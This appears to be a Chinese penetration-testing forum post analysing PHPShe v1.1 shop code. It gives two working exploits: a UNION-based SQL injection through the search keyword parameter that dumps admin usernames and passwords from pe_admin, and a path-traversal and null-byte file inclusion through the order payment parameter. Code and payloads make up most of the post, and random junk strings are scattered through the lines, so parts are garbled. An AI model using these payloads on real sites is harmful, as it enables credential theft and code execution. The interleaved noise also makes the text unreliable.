3 X+ L \% x7 E" f2 |
0×02 搜索注入
<code id="code2">
//product.php文件
case 'list':. v/ |7 a' A, Z, M/ E' ]
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');% b/ p! a2 _- F" S! t, Q
if ($category_id) {) b6 K# Q+ I! C
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";1 u) H1 L5 R) L8 i0 l0 k3 M
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤* }6 d' I( y: g) n! X5 O
if ($_g_orderby) {" E9 c7 ]+ b# `
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}1 I! o1 l' E3 C0 q- K2 o
else {
$sqlwhere .= " order by `product_id` desc";
}! ~/ C. B8 [2 }* A* o3 [0 t/ T
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径! G/ T4 }4 w) I8 Z6 \
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));4 Z! H5 D% y6 _
//跟进selectall函数库( U8 f! g" T" y2 \8 c& h! m2 g
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())0 [. g3 u' J8 @/ {
{# C0 _+ ~; A, I1 G0 l: l! E
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}3 f% ]8 A" t& K4 ?
//exp$ \# E$ T" x5 p$ p4 }$ {
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1 G# J; \3 ~4 Y1 M8 P4 O* T1 x5 f
</code>( s1 t: k3 o3 t; N9 n
( X* J5 k7 B Y: s% L/ N
0×03 包含漏洞2" }& F0 ~( `( _: U) k" Z
<code id="code3">
//order.php
case 'pay':
$order_id = pe_dbhold($_g_id);
: M$ n# Z& q& w
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
if ($k == 'bank') {
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
}
: \. ~. \6 K1 p' ?9 w q
}
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
!$order['order_id'] && pe_error('订单号错误...');
5 W) X/ }4 S# W* @) H
if (isset($_p_pesubmit)) {
0 N8 K- R8 P/ w7 G6 S
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
foreach ($info_list as $v) {
]7 @% @! g% \2 [& E4 [/ r# ?
$order['order_name'] .= "{$v['product_name']};";$ c1 X H/ v$ \) |9 r, r! y3 F' l
}
echo '正在为您连接支付网站,请稍后...';
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
}//当一切准备好的时候就可以进行"鸡肋包含了"
else {
pe_error('支付错误...');
0 Z5 L9 q2 M9 `5 A0 k* a, h
}
- |1 A+ _0 ^" P( ~) {! w {: h
}
% W1 w8 R& R# ^) X4 ?* {; m# h& h3 l
$seo = pe_seo('选择支付方式');
include(pe_tpl('order_pay.html'));
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |